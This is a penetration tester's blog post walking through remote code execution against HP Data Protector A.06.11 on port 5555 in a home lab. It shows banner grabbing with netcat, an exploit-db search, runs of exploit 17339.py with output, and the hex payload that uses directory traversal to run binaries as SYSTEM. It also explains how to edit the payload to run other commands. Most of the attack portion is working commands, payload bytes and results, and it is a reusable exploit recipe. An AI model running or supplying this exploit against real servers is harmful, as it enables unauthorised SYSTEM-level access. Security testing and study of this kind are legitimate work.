Ok so on a job I found a service running on TCP port 5555 on a few servers. A little probing with netcat allowed me to identify the service(all of the output below is from my own testbed, hence the local 192.168.x.x IPs):

1
2
3
4
root@bt:~# nc 192.168.0.18 5555
break
HP Data Protector A.06.11: INET, internal build 243, built on 25 August 2009, 13:08
root@bt:~#

This version is flagged as vulnerable as per this HP Security Bulletin. A little digging with exploitdb found the following exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@bt:~# /pentest/exploits/exploitdb/searchsploit protector
 Description                                                                 Path
--------------------------------------------------------------------------- -------------------------
HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos Exploit             /windows/dos/9006.py
HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos (meta)              /windows/dos/9007.rb
HP Data Protector Media Operations 6.11 Multiple Modules NULL Pointer Dereference DoS /windows/dos/14974.txt
HP Data Protector Media Operations NULL Pointer Dereference Remote DoS      /win32/dos/15214.py
HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS /windows/dos/15307.py
HP Data Protector Manager A.06.11 MMD NULL Pointer Dereference Denial of Service /windows/dos/15649.pl
HP Data Protector Manager v6.11 Remote DoS in RDS Service                   /windows/dos/15940.pl
HP Data Protector Client EXEC_CMD Remote Code Execution PoC (ZDI-11-055)    /windows/remote/17339.py
HP Data Protector Client EXEC_SETUP Remote Code Execution PoC (ZDI-11-056)  /windows/remote/17345.py
HP Data Protector 6.20 Multiple Vulnerabilities                             /windows/dos/17458.txt
HP Data Protector 6.20 EXEC_CMD Buffer Overflow Vulnerability               /windows/dos/17461.txt
HP Data Protector 6.11 Remote Buffer Overflow + DEP Bypass                  /windows/remote/17468.py
HP Data Protector Remote Shell for HP-UX                                    /hp-ux/remote/17614.sh
HP Data Protector Remote Root Shell for Linux                               /linux/remote/17648.sh
HP Data Protector Media Operations <= 6.20 Directory Traversal              /windows/webapps/18077.txt
root@bt:~#

Of interest are these 2:

1
2
HP Data Protector Client EXEC_CMD Remote Code Execution PoC (ZDI-11-055)    /windows/remote/17339.py
HP Data Protector Client EXEC_SETUP Remote Code Execution PoC (ZDI-11-056)  /windows/remote/17345.py

As I dont have time to edit the shellcode in the second example we’ll just play with the first for now.
The first just runs a command and replays the output to the terminal, the second attempts to download and run the command.
The exploit is as simple as just pointing it to the target and executing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@bt:~# python 17339.py 192.168.0.18 5555
Sending payload
[70:18]
[70:18] Windows IP Configuration
[70:18]
[70:18]
[70:18] Ethernet adapter INTERNAL_LAN:
[70:18]    Connection-specific DNS Suffix  . :
[70:18]    IP Address. . . . . . . . . . . . : 192.168.100.1
[70:18]    Default Gateway . . . . . . . . . : 192.168.100.1
[70:18] Ethernet adapter Bridged:
[70:18]    Connection-specific DNS Suffix  . :
[70:18]    IP Address. . . . . . . . . . . . : 192.168.0.18
[70:18]    Subnet Mask . . . . . . . . . . . : 255.255.255.0
[70:18]    Default Gateway . . . . . . . . . : 192.168.0.1
root@bt:~#

A quick look at the shellcode looks like it attempts to run as SYSTEM:

1
2
3
4
5
\x00\x00\x00\xa4\x20\x32\x00\x20\x66\x64\x69\x73\x6b\x79\x6f\x75\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x66\x64\x69\x73\x6b\x79\x6f\x75\x00\x20\x43\x00\x20\x32\x30\x00\x20\x66\x64\x69\x73\x6b\x79\x6f\x75\x00\x20\x50\x6f\x63\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x69\x70\x63\x6f\x6e\x66\x69\x67\x2e\x65\x78\x65\x00\x00

Translates into:

ยค 2 fdiskyou 0 SYSTEM fdiskyou C 20 fdiskyou Poc NTAUTHORITY NTAUTHORITY NTAUTHORITY 0 0 ../../../../../../../../../../\windows\system32\ipconfig.exe

One thing to note is that this will not work on a Win2K box unless you replace /windows/ with /WINNT/. I quickly edited the shellcode to run the whoami.exe command instead to confirm the useraccount we have exploited:

1
2
3
4
root@bt:~# python 17339.py 192.168.0.18 5555
Sending payload
[70:18] nt authority\system
root@bt:~#

Sweet so it works.
Afterword, although there is an exploit in metasploit that supposedly works it isnt designed for windows targets and to get it to work you have to bodge it and it still only sends 4 characters, pointless:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf  exploit(openview_omniback_exec) > info

       Name: HP OpenView OmniBack II Command Execution
     Module: exploit/multi/misc/openview_omniback_exec
SNIP
Description:
  This module uses a vulnerability in the OpenView Omniback II service
  to execute arbitrary commands. This vulnerability was discovered by
  DiGiT and his code was used as the basis for this module. For
  Microsoft Windows targets, due to module limitations, use the
  "unix/cmd/generic" payload and set CMD to your command. You can only
  pass a small amount of characters (4) to the command line on
  Windows.

Leave a Reply